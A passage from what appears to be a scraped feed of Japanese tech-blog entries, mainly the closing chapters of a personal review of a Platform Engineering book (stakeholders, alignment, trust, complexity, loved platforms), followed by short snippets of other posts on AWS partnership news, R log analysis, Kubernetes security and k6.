軟な対応、そして責任の所在の明確化が重要です。私の経験では、この最後の20%で重要なのは、チームのモチベーション維持です。古いシステムの維持に割り当てられたチームメンバーが、キャリアの行き詰まりを感じて離職するケースも少なくありません。これを防ぐために、新旧システムの作業をバランスよく配分し、全員が新しい技術にも触れる機会を提供することが重要です。プラットフォームのサンセットプラットフォームのサンセットは、マイグレーション以上に難しい判断を必要とします。著者は、サンセットを検討すべき状況として、ユーザー数の少なさ、高いサポートコスト、他の優先事項への注力必要性という3つの条件を挙げています。私の経験では、特に構築者の抵抗が大きな課題となることがあります。開発者は自分たちが構築したシステムに愛着を持ちがちで、そのサンセットには強い感情的な抵抗を示すことがあります。あるプロジェクトでは, 新システムへの移行が技術的には可能であったにもかかわらず、開発チームの強い愛着により、不必要に長期間両方のシステムを維持することになりました。このような状況を避けるためには、客観的な評価基準と透明性の高い意思決定プロセスが重要です。具体的には、使用状況メトリクス、維持コスト、技術的負債の状況など、定量的なデータに基づく判断を行うことで、感情的な議論を避けることができます。また、サンセット計画の策定においては、段階的なアプローチが効果的です。まず使用制限を設けてから完全な廃止へと移行する方法や、特定の機能のみを段階的に廃止していく方法など、状況に応じた柔軟なアプローチを取ることが重要です。章全体からの学びこの章から得られる最も重要な教訓は、マイグレーションとサンセットは避けられない現実であり、それらを効果的に管理することがプラットフォームチームの価値を証明する機会となるということです。著者が述べているように、マイグレーションは「税金」のようなものかもしれませんが、それは避けられない更新のコストです。プラットフォームエンジニアリングの真価は、より良い自動化、コミュニケーション、実行を通じて、この変更のコストを組織全体で最小化できるという点にあります。私の経験からも、成功するマイグレーションには、技術的な準備、組織的なサポート、そして効果的なコミュニケーションが不可欠です。特に重要なのは、ユーザー体験を最優先し、できる限り多くの作業を事前に準備することです。さらに、マイグレーションやサンセットの経験は、将来のプラットフォーム設計にも活かすべき重要な学びとなります。特に、変更のしやすさを初期の設計段階から考慮することで、将来のマイグレーションコストを低減することができます。最後に、この章は、プラットフォームエンジニアリングにおけるマイグレーションとサンセットの重要性を再認識させ、その実践的なアプローチを提供する貴重な指針となっています。その教訓は、現代のクラウドネイティブ環境において、ますます重要性を増していくことでしょう。Chapter 10. Managing Stakeholder Relationships第10章「Managing Stakeholder Relationships」は、プラットフォームエンジニアリングにおけるステークホルダー管理の重要性と実践的なアプローチについて詳細に解説しています。著者は、プロダクトマネジメントとステークホルダーマネジメントの違いを明確にし、後者がプラットフォームチームの成功にとって極めて重要であることを強調しています。社内政治の教科書作者:高城 幸司ダイヤモンド社Amazonステークホルダーマッピング:パワー・インタレストグリッドFigure 10-1. Power-interest grid, showing the four quadrants of stakeholders based on their power within the organization and interest in your work より引用[Figure 10-1]は、ステークホルダーのマッピングを「パワー」と「関心」の2軸で表現した重要な図です。この図は、ステークホルダーを4つの象限に分類し、それぞれに対する適切なアプローチを示しています。私の経験でも、このような体系的なマッピングは、限られたリソースを効果的に配分する上で非常に有用でした。Figure 10-2. The power-interest grid showing Juan’s stakeholders より引用[Figure 10-2]では、架空の例としてJuanというVPのステークホルダーマップが示されています。この例は、現実のプラットフォームチームが直面する複雑なステークホルダー関係を見事に表現しています。特に重要なのは、パワーと関心の高いステークホルダー(CPOや主要エンジニアリングチームのリーダー)に対する戦略的なアプローチの必要性です。適切な透明性でのコミュニケーション著者は、ステークホルダーとのコミュニケーションにおいて、過度な詳細の共有を避けることの重要性を強調しています。これは、私のチームでも痛感した教訓です。以前、技術的な詳細を過度に共有したことで、かえってステークホルダーの不信感を招いた経験があります。特に重要なのは、1:1ミーティングの戦略的な活用です。初期段階での関係構築には有効ですが、組織の成長とともにその限界も見えてきます。私の経験では、四半期ごとのKeep Satisfied/Keep Informedステークホルダーとの1:1、そして月次でのManage Closelyステークホルダーとの1:1というリズムが効果的でした。受け入れ可能な妥協点の見出し方ステークホルダーとの関係において、妥協は避けられない現実です。特に印象的なのは、「yes, with compromises」というアプローチです。これは、完全な拒否でも無条件の受け入れでもない、現実的な解決策を提供します。シャドウプラットフォームの問題は、多くのプラットフォームチームが直面する課題です。私のチームでも、ある部門が独自のプラットフォームを構築し始めた際、最初は抵抗を感じました。しかし、著者が提案するように、パートナーシップのアプローチを取ることで、最終的には組織全体にとって価値のある結果を生み出すことができました。予算管理とコストの課題経済的な逆風時における予算管理は、プラットフォームチームにとって特に難しい課題です。著者が提案する3段階のアプローチ(明日の受益者の特定、チーム単位での作業のグループ化、カットすべき箇所と維持すべき箇所の明確化)は、実践的で効果的です。私の経験では、ビジネスへの直接的な価値の提示が特に重要でした。例えば、効率化プロジェクトの場合、具体的なコスト削減額を示すことで、予算の正当性を説得力を持って説明することができました。章全体からの学びこの章から得られる最も重要な教訓は、ステークホルダー管理がプラットフォームチームの成功にとって決定的に重要であるという点です。これは単なるコミュニケーションの問題ではなく、組織の戦略的な成功要因です。私の経験からも、良好なステークホルダー関係は、困難な時期を乗り越えるための重要な資産となります。特に、予算削減や組織変更といった厳しい局面では、日頃からの信頼関係が決定的な違いを生みます。最後に、この章が提供する実践的なフレームワークと具体例は、現代のプラットフォームエンジニアリングリーダーにとって、極めて価値のある指針となるでしょう。Part III. What Does Success Look Like?第3部は、プラットフォームエンジニアリングの成功をホリスティックに評価するアプローチを提示しています。Alice in Wonderlandからの引用が示唆するように、プラットフォームチームは常に走り続けているにもかかわらず、その進捗が見えにくいという現実に直面します。著者は、単純なメトリクスやモデルだけでは不十分だとし、アライメント、信頼、複雑性管理、愛される存在という4つの評価領域を提案しています。これは私の実務経験とも強く共鳴します。特に、CNCFのプラットフォームエンジニアリング成熟度モデルを参考にしつつも、より包括的な評価アプローチを取ることの重要性は、多くのプラットフォームリーダーにとって価値のある指針となるでしょう。Chapter 11. Your Platforms Are Aligned第11章「Your Platforms Are Aligned」は、プラットフォームエンジニアリングチームの成功を評価する最初の基準として「アライメント(整合性)」を深く掘り下げています。この章を通じて、著者はプラットフォームチーム間のアライメントがいかに重要か、そしてミスアライメントがどのような問題を引き起こすかを具体的に示しています。特に印象的なのは、冒頭のTom DeMarcoとTim Listerの「チームの目的は目標の達成ではなく、目標の整合性である」という言葉です。この視点は、現代のプラットフォームエンジニアリングにおいて極めて重要な示唆を提供しています。アジャイルチームによる目標づくりガイドブック OKRを機能させ成果に繋げるためのアプローチ作者:小田中 育生翔泳社Amazon目的のアライメント著者は目的のアライメントの重要性を、継続的インテグレーション(CI)プラットフォームと運用システムプラットフォームの対立という具体例を通じて説明しています。この事例は、私自身が経験したプラットフォームチーム間の対立を思い起こさせます。特に印象的なのは、OSプラットフォームチームがインフラストラクチャマインドセットを保持し、顧客体験よりも技術的完璧さを優先してしまうという状況です。著者は、プラットフォームチームの共通目的として、製品(キュレートされた製品アプローチ)、開発(ソフトウェアベースの抽象化)、幅広さ(広範な開発者基盤へのサービス提供)、運用(ビジネスの基盤としての運用)という4つの柱を挙げています。これらの柱は、プラットフォームチームが技術的な卓越性だけでなく、組織全体の価値創出に貢献するための重要な指針となります。製品戦略のアライメント製品戦略のアライメントについて、著者は4つのプラットフォームチームが異なる技術的選択を行い、その結果として5つの異なるコンピュートプラットフォームが存在するという事例を挙げています。これは、私が以前経験した状況と非常によく似ています。チーム間の協調不足が、重複した機能と互換性の問題を引き起こし、結果として顧客にとって使いづらい環境を作ってしまうのです。著者は、この問題に対する解決策として、独立したプロダクトマネジメント、独立したリードIC、全社的な顧客調査からのフィードバック、そして必要に応じた組織再編という4つのアプローチを提案しています。特に、プロダクトマネジメントの独立性について、エンジニアリングマネージャーの直接の影響下から切り離すことの重要性は、実践的な示唆に富んでいます。計画のアライメント計画のアライメントに関して、著者は大規模なプロジェクト(1開発者年以上)に焦点を当てることの重要性を強調しています。細かい計画まで全てを統制しようとすると、チームの機動性が失われ、緊急のニーズに対応できなくなるリスクがあります。これは私の経験とも一致しており、特に大規模な組織では、過度な計画の詳細化がかえって効果的な実行の妨げとなることがあります。著者は、意見の対立を避けることなく、むしろそれを前向きに活用することを提案しています。Amazonの「Have Backbone; Disagree and Commit」という原則を引用しながら、強い信念を持ちつつも、最終的な決定には全面的にコミットするという姿勢の重要性を説いています。プリンシプルドリーダーシップによるアライメント著者は、最終的なアライメントが原則に基づいたリーダーシップから生まれると主張しています。これは単なる上意下達ではなく、協調的で透明性のあるプロセスを通じて、チーム全体が理解し、納得できる決定を導き出すことの重要性を示しています。組織の共通目標を達成するための計画と実行は、単なるトップダウンの意思決定ではなく、チーム全体の協力と理解に基づいて進められるべきです。組織のアライメントへの道筋組織全体のアライメントを実現するには、単なる技術的な調整以上のものが必要です。著者が示す通り、プラットフォームチームのリーダーは、技術的な卓越性とビジネス価値のバランスを取りながら、組織全体の目標達成に向けて多様なステークホルダーと協力していく必要があります。特に、競合するプロジェクトや優先順位の調整において、オープンな議論と明確な意思決定プロセスが重要となります。プラットフォームエンジニアリングの成功は、明確な目標設定と、その目標に向けた組織全体の一貫した取り組みにかかっています。アライメントを通じて、組織は効果的なプラットフォームを構築し、継続的な改善を実現することができます。この章は、そのための具体的な指針と実践的なアプローチを提供しています。章全体からの学びこの章から得られる最も重要な教訓は、プラットフォームアライメントが組織の成功に直接的な影響を与えるという点です。著者が強調するように、アライメントは単なる技術的な統一ではなく、目的、製品戦略、計画という3つの次元で実現される必要があります。私の経験からも、これらの要素が適切に整合していない場合、チーム間の摩擦や非効率な重複投資、そして最終的には顧客満足度の低下につながることを痛感しています。特に印象的なのは、アライメントが「測定可能な改善」と密接に結びついているという著者の指摘です。プラットフォームの成功を評価するには、まず目標について合意し、それに向かって進む必要があります。アライメントのプロセスを通じて、組織は焦点を当てるべき領域をより明確に理解し、具体的な目標と作業項目を設定することができます。私の実務経験でも、製品市場のフィードバックを定期的に収集し、内部メトリクスだけでなく実際のユーザーの声に耳を傾けることで、プラットフォームが選択した方向性が正しいかどうかを判断できることを学びました。これは著者が指摘する「プラットフォームが改善すべき点を意識的に選択できる」という考えと完全に一致します。著者が指摘するように、この章の内容はプラットフォームエンジニアリングに特有のものではありません。しかし、プラットフォームエンジニアリングの文脈では、その価値が直接的な収益成長などの明確な指標で測定できないことが多く、投資先の選択においてより大きな裁量が求められます。これは、プラットフォームリーダーシップの最大の課題の一つとなっています。最後に、この章は個々のプロダクトチームが独自の視点で構築を進めることの危険性を明確に示しています。確かに、これによって部分的な成功は得られるかもしれませんが、チーム全体としての整合性が欠如すると、真の卓越性は達成できません。プラットフォームエンジニアリングの真の成功は、技術的な優秀性だけでなく、組織全体のアライメントを通じて実現されるのです。これらの学びを実践に移す際は、組織の規模や成熟度に応じて適切にアプローチを調整する必要があります。アライメントは一朝一夕には達成できませんが、継続的な対話と調整を通じて、段階的に実現していくことが可能です。Chapter 12. Your Platforms Are Trusted第12章「Your Platforms Are Trusted」は、プラットフォームエンジニアリングにおける信頼の重要性と、その獲得・維持の方法について深く掘り下げています。著者は、Warren Buffettの「信頼は空気のようなものだ - 存在するときは誰も気付かないが、欠如したときは誰もが気付く」という言葉を引用しながら、プラットフォームの成功には信頼が不可欠であることを強調しています。特に、この章では運用能力、大規模投資の意思決定、そしてビジネスへのボトルネック化という3つの主要な信頼喪失のリスクに焦点を当てています。運用における信頼構築運用面での信頼構築について、著者は単なるプラクティスの導入以上のものが必要だと指摘しています。私自身の経験でも、オンコール体制やSLOの設定だけでは、アプリケーションチームの信頼を完全に獲得することは困難でした。特に印象的なのは、経験値の圧縮が不可能であるというAmazonの教訓です。これは、大規模運用の経験は実際の運用を通じてしか得られないという現実を端的に表現しています。著者は、この課題に対する2つのアプローチを提案しています。1つ目は大規模運用経験を持つリーダーの採用と権限付与、2つ目は運用リスクの許容度に基づくユースケースの優先順位付けです。これらは、私が過去に経験した運用信頼性の向上プロジェクトとも共鳴する実践的なアプローチです。信頼構築の実践において、私たちのチームで特に効果的だったのは、段階的なアプローチの採用です。まず、非クリティカルなワークロードから始めて、運用の安定性を実証し、そこから徐々にミッションクリティカルなワークロードへと移行していく方法を取りました。例えば、新しいコンテナオーケストレーションプラットフォームの導入時には、最初は内部の開発環境のワークロードのみを対象とし、3ヶ月間の安定運用を確認した後に、段階的に本番環境のワークロードを移行していきました。この過程で特に重要だったのは、透明性の高いコミュニケーションです。週次のステータスレポートでは、インシデントの詳細な分析結果だけでなく、それに基づく具体的な改善計画も共有しました。また、主要なステークホルダーとの定期的な1on1ミーティングでは、技術的な課題だけでなく、ビジネス目標との整合性についても率直な議論を行いました。このような取り組みを通じて、運用面での信頼を着実に築き上げることができました。syu-m-5151.hatenablog.com大規模投資における信頼構築大規模投資に関する信頼構築について、著者は技術的ステークホルダーの賛同とエグゼクティブスポンサーシップの重要性を強調しています。私の経験でも、技術的な正当性だけでなく、ビジネス価値の明確な説明が、大規模投資の承認を得る上で決定的に重要でした。特に、既存システムの維持管理を怠らないことの重要性は、実務を通じて痛感しています。著者が提示する「Icicle」チームの事例は、特に示唆に富んでいます。高レイテンシーに敏感なワークロードを持つチームの信頼を獲得するために、プラットフォームチームが自身の技術的な「正しさ」にこだわるのではなく、顧客のニーズに合わせて柔軟に戦略を変更した例は、現代のプラットフォームエンジニアリングにおいて極めて重要な教訓を提供しています。私たちの組織では、大規模投資の承認プロセスにおいて、段階的なマイルストーンと明確な成功指標の設定を重視しています。例えば、新しいマイクロサービスプラットフォームへの投資では、6ヶ月ごとの具体的な目標を設定し、各フェーズでの成果を定量的に評価できるようにしました。これにより、投資の妥当性を継続的に検証し、必要に応じて計画を調整することが可能になりました。特に重要なのは、ビジネス価値の可視化です。技術的な改善だけでなく、開発者生産性の向上、運用コストの削減、新機能のリリース速度の改善など、具体的な数値で効果を示すことで、エグゼクティブの継続的なサポートを得ることができました。この経験から、大規模投資の成功には、技術的な実現可能性とビジネス価値の両面からの綿密な検討が不可欠だと実感しています。優先順位付けと信頼ビジネスのボトルネックとなることを避けるための信頼構築について、著者はベロシティの文化醸成とプロジェクトの優先順位付けの重要性を説いています。私のチームでも、計画された作業と緊急の要求のバランスを取ることは常に課題でした。特に、「次の四半期のOKRまで待つ必要がある」という対応は、アジャイルなビジネス環境では受け入れられないという著者の指摘は、現実の組織運営と強く共鳴します。著者が紹介するDiego Quirogaの事例は、ボトルネック解消の実践的なアプローチを示しています。特に、セルフサービス化による効率化とサポート要求の分析に基づく改善は、私自身のプラットフォーム改善プロジェクトでも有効だった施策です。過度に結合したプラットフォームの教訓著者は、「バッテリー込み」アプローチの失敗事例を通じて、プラットフォームの過度な結合がもたらす問題を説明しています。この事例は、エンドツーエンドのワークフローを提供しようとするあまり、コンポーネント間の結合が強くなり、最終的に運用の安定性と機能追加の柔軟性を失ってしまうという、多くのプラットフォームチームが陥りがちな罠を見事に描き出しています。章全体からの学びこの章の最も重要な教訓は、信頼の構築には時間がかかるが、その喪失は一瞬であるという現実です。運用上の予期せぬ問題、ビジネスの急激な変化、チームの離職など、私たちの制御を超えた多くの要因が信頼を損なう可能性があります。そのため、プラットフォームリーダーには、日々の活動を通じて継続的に信頼を強化していく努力が求められます。特に印象的なのは、多くのプラットフォームリーダーが陥りがちな傲慢さへの警告です。技術的な正しさにこだわるあまり、顧客やステークホルダーの声に耳を傾けない態度は、長期的な成功の妨げとなります。プラットフォームの真の成功は、技術的な卓越性とビジネス要求への迅速な対応の両立にかかっているのです。この章の学びは、現代のクラウドネイティブ環境において、ますます重要性を増していくでしょう。プラットフォームの信頼性と柔軟性の両立、そして顧客との信頼関係の構築は、今後のプラットフォームエンジニアリングの成功に不可欠な要素となります。Chapter 13. Your Platforms Manage Complexity第13章「Your Platforms Manage Complexity」は、プラットフォームエンジニアリングにおける複雑性管理の本質と実践について深く掘り下げています。著者は、Donald A. Normanの「人々の望ましい行動ではなく、実際の行動に合わせて設計しなければならない」という言葉を引用しながら、複雑性管理が単なる技術的な課題ではなく、人間の行動や組織の現実を考慮に入れた総合的なアプローチを必要とすることを強調しています。 speakerdeck.com意図せぬ複雑性の管理複雑性管理の成功を測る重要な指標の一つは、アプリケーションチームが必要とする「グルー(接着剤)コード」の量です。私の経験では、プラットフォームチームが提供する抽象化が不適切な場合、アプリケーションチームは独自のグルーコードを書かざるを得なくなり、結果として全体の複雑性が増大してしまいます。特に注目すべきは、著者が指摘する「ヒューマングルー」の問題です。これは、技術的なグルーコードの削減を目指すあまり、人間による手動の調整や対応に依存してしまう状況を指します。私のチームでも、以前は運用上の問題解決に人間の介入を多用していましたが、これは持続可能な解決策ではありませんでした。このような課題に対して、私たちは自動化と適切な抽象化のバランスを重視するアプローチを採用しています。例えば、マイグレーションプロジェクトでは、所有権メタデータレジストリを活用し、チケットの自動割り当てと進捗管理を実現しました。これにより、人的なプロジェクト管理の負担を大幅に削減することができました。シャドウプラットフォームの管理シャドウプラットフォームの問題について、著者は完全な抑制ではなく、適切な管理の重要性を説いています。私の経験でも、アプリケーションチームによる独自のプラットフォーム構築を全面的に禁止することは、イノベーションの芽を摘んでしまう危険性があります。特に印象的なのは、シャドウプラットフォームを組織の学習機会として捉える視点です。あるプロジェクトでは、データサイエンスチームが構築した独自のプラットフォームを、最終的に全社的なソリューションへと発展させることができました。これは、パイオニア的なイノベーションとエンタープライズレベルの安定性のバランスを取る良い例となりました。著者が提示する「Single Pane of Glass」のアンチパターンの分析も示唆に富んでいます。統合UIの構築は一見魅力的に見えますが、実際にはベンダーツールの進化に追従することの難しさや、異なるユーザーペルソナのニーズへの対応など、予想以上の複雑性をもたらす可能性があります。成長の管理による複雑性制御著者は、無制限な成長が複雑性を増大させる要因となることを警告しています。これは私の実務経験とも強く共鳴します。特に印象的なのは、効率性の向上とチーム規模の拡大のバランスについての指摘です。私のチームでも、新しい課題に直面するたびに人員を増やすのではなく、まず既存のプロセスの効率化や自動化を検討するようにしています。著者が提案する「既存の領域での新しい作業は、そのチームの既存のメンバーによってまかなわれるべき」というルールは、実践的な指針として非常に有用です。これにより、チームは優先順位の明確化と効率化への投資を迫られ、結果として複雑性の管理にも寄与します。プロダクトディスカバリーを通じた複雑性管理プロダクトディスカバリーの重要性について、著者はオープンソースシステムの導入を例に説明しています。私の経験では、顧客の要求をそのまま受け入れてオープンソースシステムを提供するのではなく、真の要件の理解と適切な抽象化のレベルを見極めることが重要です。特に印象的なのは、データ処理系のOSSに関する事例です。PostgreSQL、Cassandra、MongoDBなどの広範なインターフェースを持つシステムの運用は、ユースケースと利用者の増加に伴って線形に複雑性が増大していきます。これは、多くのプラットフォームチームが直面する現実的な課題です。内部と外部の複雑性のバランス最後に著者が示すデータプラットフォームの事例は、複雑性管理の実践的なチャレンジを見事に描き出しています。10人程度のチームがPostgreSQL、Kafka、Cassandraなどの複数のOSSシステムを運用する中で直面した課題は、私自身の経験とも強く共鳴します。特に、運用負荷の増大と顧客要求の多様化のバランスを取ることの難しさは、多くのプラットフォームチームが直面する普遍的な課題です。著者が描写する改善の試行錯誤のプロセスは、とりわけ示唆に富んでいます。ベンダーのホステッドサービスへの移行、SLAの明確化、APIの完全なカプセル化など、様々なアプローチを試みながらも、それぞれに課題があったという経験は、私たちの組織でも同様でした。特に印象的なのは、これらの「失敗」を通じて、真の顧客ニーズの理解と実現可能な解決策の発見につながっていったという点です。最終的な解決策として導き出された、シンプルな(key, value)セマンティクスのプラットフォームと特定のユースケースに最適化されたSQL系システムの組み合わせは、複雑性管理の理想的なアプローチを示しています。これは、完璧な解決策を一度に実現しようとするのではなく、段階的な改善と顧客との密接な協力を通じて、持続可能な解決策を見出していく過程の重要性を示しています。章全体からの学びこの章の最も重要な教訓は、複雑性管理が継続的な取り組みであり、完全な解決は望めないという現実的な認識です。しかし、これは諦めるべき理由ではなく、むしろ組織の北極星として、継続的な改善の方向性を示す指針となります。私の経験からも、複雑性管理の成功には、技術的なソリューション、組織的な取り組み、そして顧客との協力の3つの要素が不可欠です。特に重要なのは、完璧を求めるのではなく、継続的な改善と学習のサイクルを確立することです。最後に、この章は現代のプラットフォームエンジニアリングが直面する本質的な課題に対する実践的な洞察を提供しています。複雑性の管理は、技術的な課題であると同時に、組織的な課題でもあります。プラットフォームエンジニアリングチームのリーダーとして、この両面からのアプローチを常に意識しながら、持続可能な改善を推進していく必要があるでしょう。Chapter 14. Your Platforms Are Loved第14章「Your Platforms Are Loved」は、プラットフォームエンジニアリングにおける「愛される」という概念の意味と重要性について深く掘り下げています。著者は、Tina Turnerの「What\'s love got to do with it?」という問いかけから始め、内部向けのツールが「愛される」必要があるのかという根本的な疑問に対して、説得力のある回答を提示しています。この章では、プラットフォームが単に機能するだけでなく、ユーザーに愛される存在となることが、実は生産性向上の重要な指標となることを示しています。愛されるプラットフォームの本質著者は、日常生活で私たちが愛用する道具を例に挙げ、プラットフォームが「愛される」とはどういうことかを説明しています。私の経験でも、最も成功したプラットフォームは、必ずしも最も高価なものや機能が豊富なものではなく、特定の目的に対して適切に設計され、信頼性高く動作するものでした。特に印象的なのは、著者が生産性の直接的な測定の難しさに触れながら、「愛される」ことを生産性の代理指標として捉える視点です。私のチームでも、以前は定量的なメトリクスにこだわりすぎて、実際のユーザー体験を見失いかけた時期がありました。単純な採用率や効率性の指標に固執すると、プラットフォームチームが制御しやすいシステムを作ることに注力してしまい、実際のユーザーニーズを見失うという著者の指摘は、多くのプラットフォームチームが陥りがちな罠を的確に描写しています。「単に動く」から「愛される」への進化著者が紹介するAmazonのApolloプラットフォームの事例は、プラットフォームが「愛される」ために必要な要素を具体的に示しています。特に印象的なのは、優れたUIと自動化インターフェース、強い意見を持った設計、そして必要に応じて抽象化を「突き破れる」柔軟性という3つの特徴です。『INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント』では、成熟したIT企業の製品開発に共通する3つの特徴として、リスクを開発の最終段階ではなく初期段階で積極的に特定・対処すること、製品の定義とデザインを順序立てて進めるのではなく協調的に同時進行させること、そして単なる機能実装ではなく本質的な問題解決にフォーカスすることを挙げています。また著者は、優れたプロダクトマネジャーの条件として、顧客、データ、自社ビジネス、そして市場・業界それぞれについての深い知見を持つことが不可欠だと説いています。こちらの方が良いでしょうか?プロダクトマネジメントの本質をよりシンプルに表現してみました。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon私のチームでも、最近完了したコンテナオーケストレーションプラットフォームの刷新プロジェクトで、これらの原則を意識的に取り入れました。特に、「システムの状態をUIが正確に反映している」という信頼性の確保と、「特殊なケースにも対応できる拡張ポイントの提供」というバランスの取れた設計により、ユーザーからの高い評価を得ることができました。ハックのような解決策も愛される理由著者が紹介する「Waiter」プラットフォームの事例は、特に示唆に富んでいます。技術的には「ハック」のように見える実装でも、ユーザーの実際の問題を解決し、摩擦を最小限に抑えることができれば、強く支持される可能性があることを示しています。私の経験でも、「理想的」な設計からは外れるものの、ユーザーの具体的な課題を解決する実装が、結果として大きな価値を生み出すケースを何度か経験しました。例えば、あるマイクロサービスプラットフォームでは、理想的なマイクロサービスアーキテクチャの原則から外れる実装を許容することで、開発者の生産性を大幅に向上させることができました。明白な価値提供による信頼獲得著者が紹介するS3互換オブジェクトストアの事例は、既知の価値と適切な実装の組み合わせの重要性を示しています。特に重要なのは、認知度、互換性、エンジニアリング品質、市場投入までの時間という4つの要素です。これは、私が過去に経験した失敗から学んだ教訓とも一致します。章全体からの学びこの章の最も重要な教訓は、プラットフォームが「愛される」ということは、単なる感情的な問題ではなく、実際の生産性と価値創出に直結するという点です。特にSmruti Patelの「マルチツール」という比喩は、プラットフォームの本質を見事に表現しています。私の経験からも、最も成功したプラットフォームは、必ずしも最新のトレンドを追いかけたものではなく、基本的な信頼性を確保しながら、ユーザーの実際の問題を着実に解決していくアプローチを取ったものでした。愛されるプラットフォームを構築するには、技術的な卓越性だけでなく、ユーザーとの深い信頼関係の構築が不可欠です。これは一朝一夕には達成できませんが、継続的な改善と誠実な対話を通じて、確実に実現できる目標なのです。おわりに本書は、プラットフォームエンジニアリングという営みが、技術を極めることと人に寄り添うことの両立を求められる実践であることを、様々な現場での経験を通じて描き出しています。技術的な卓越性を追求しながらも、組織の変革に寄り添い、ステークホルダーとの信頼関係を育み、持続可能な文化を醸成していくという総合的な視点は、現代のソフトウェア開発組織が直面する本質的な課題に対する深い洞察を提供しています。プラットフォームエンジニアリングは、技術的な基盤を「作って終わり」にするのではなく、組織とともに成長し続ける生命体のような存在です。それは、日々の地道な技術の研鑽と、組織やユーザーのニーズへの繊細な理解が融合することで初めて、真の価値を生み出すことができます。本書は、その困難な実践に挑戦する人々にとって、同じ道を歩む先達からの贈り物となるでしょう。今後のソフトウェア開発において、プラットフォームエンジニアリングはますます重要な役割を担っていくことでしょう。しかし、その本質は変わることなく、技術を極めることと人に寄り添うことの両立にあり続けるはずです。本書で示された知見をもとに、各組織が自らの文脈に即した実践を積み重ね、技術と人間性が調和した真に価値あるプラットフォームエンジニアリングを実現していくことを願ってやみません。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","isoDate":"2024-10-24T21:06:00.000Z","dateMiliSeconds":1729803960000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 アマゾン ウェブ サービス(以下AWS)の AWS パートナープログラムにおける「内製化支援推進 AWS パートナー」に認定されたことをお知らせします。The post スリーシェイク、 「内製化支援推進 AWS パートナー」認定を取得 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/aws_partner/","isoDate":"2024-10-23T01:00:00.000Z","dateMiliSeconds":1729645200000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでndjson形式のログを解析する","contentSnippet":"最近、ndjson形式のログをRで解析しました。やはりtidyverseを使える体験のよさは他の追随を許しません。ただ、ndjson形式を直接読み込む方法を知らずに、jqコマンドを使って通常のJSON形式に変換してから読み込んでいました(cat file.ndjson | jq -c -s . > file.json)。読み込みからRで完結したいと思ったので、方法を調べてみました。","link":"https://blog.atusy.net/2024/10/22/anaylze-ndjson-logs-in-r/","isoDate":"2024-10-22T00:00:00.000Z","dateMiliSeconds":1729555200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"KubernetesセキュリティDeep Dive","contentSnippet":"自己紹介 高橋 楓 公立千歳科学技術大学理工学部2年の高橋楓です。普段は趣味や他社の長期インターンにてソフトウェア開発を行っており、インフラ基盤にはDockerを利用しています。しかし、KubernetesやGoogle […]The post KubernetesセキュリティDeep Dive first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/kubernetes-security-deep-dive/","isoDate":"2024-10-21T11:49:27.000Z","dateMiliSeconds":1729511367000,"authorName":"Sreake","authorId":"Sreake"},{"title":"生成AI入門","contentSnippet":"https://genai-users.connpass.com/event/333130/\\rOSCオンラインで生成AIの基礎知識から、実際に活用できる技術まで、幅広く解説しました。\\r\\r生成AIとは何か、その仕組みを解説します。\\r生成AIモデルを比較し、具体的なユースケースを紹介します。\\rプロンプトエンジニアリング、RAG (Retrieval Augmented Generation)などの技術を説明します。\\rオープンソースライブラリLangChainについてご紹介します。\\r最後に生成AIが社会に与える影響や、今後の展望について考えます。","link":"https://speakerdeck.com/shukob/sheng-cheng-airu-men-340f58db-c1be-4877-92b9-7fbf1df3105e","isoDate":"2024-10-19T04:00:00.000Z","dateMiliSeconds":1729310400000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"k6 DevTools recorder を使ってみた","contentSnippet":"k6 DevTools recorder とはk6 のブラウザテストのスクリプトを生成してくれるツール(Chrome 拡張機能)です。Chrome DevTools Recorder を使って記録したフローをスクリプトに変換してくれます。https://grafana.com/docs/k6/latest/using-k6/test-authoring/create-tests-from-recordings/using-the-devtools-recorder/ 使ってみるCreate a script from a recording に使い方が書いてあります。C...","link":"https://zenn.dev/z63d/articles/0da90534fe5964","isoDate":"2024-10-16T12:00:33.000Z","dateMiliSeconds":1729080033000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"スリーシェイク、「Developers X Summit 2024」に出展","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供するSRE総合支援サービス「Sreake(スリーク)」は、2024年11月14日(木) に開催される「Developers X Summit 2024」にブース出展することをお知らせします。The post スリーシェイク、「Developers X Summit 2024」に出展 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/developers-x-summit-2024/","isoDate":"2024-10-15T01:36:55.000Z","dateMiliSeconds":1728956215000,"authorName":"Sreake","authorId":"Sreake"},{"title":"「大規模システムの効率的運用の裏側」というイベントに登壇するのでどんなこと話すか整理する #aeon_tech_hub","contentSnippet":"大規模システム運用の難しさは、その規模と複雑性に起因します。開発する人も多く、運用に関わる人間も多く、そしてシステムの性能や信頼性を評価する人間も多数います。この多様な関係者の利害が複雑に絡み合う中、技術的な課題に加え、人的・組織的な課題も顕著になります。さらに、複雑に構成されたシステムコンポーネントと日々向き合いながら、刻々と変化するビジネスの要求に応えていく必要があります。これらの要因が重なり合い、大規模システムの運用を極めて困難なものにしているのです。aeon.connpass.comはじめにこのたび、2024年10月23日に開催予定の「<Platform Engineering、DevOps、CCoE>大規模システムの効率的運用の裏側」というイベントに登壇者としてお呼びいただきました。大規模システムの効率的運用は非常に複雑な課題であり、アンチパターンはあっても画一的な正解はないと考えています。時に、人的・組織的な制約から、アンチパターンと言われるような策を採用せざるを得ない状況もあるでしょう。システム運用アンチパターン ―エンジニアがDevOpsで解決する組織・自動化・コミュニケーション作者:Jeffery D. 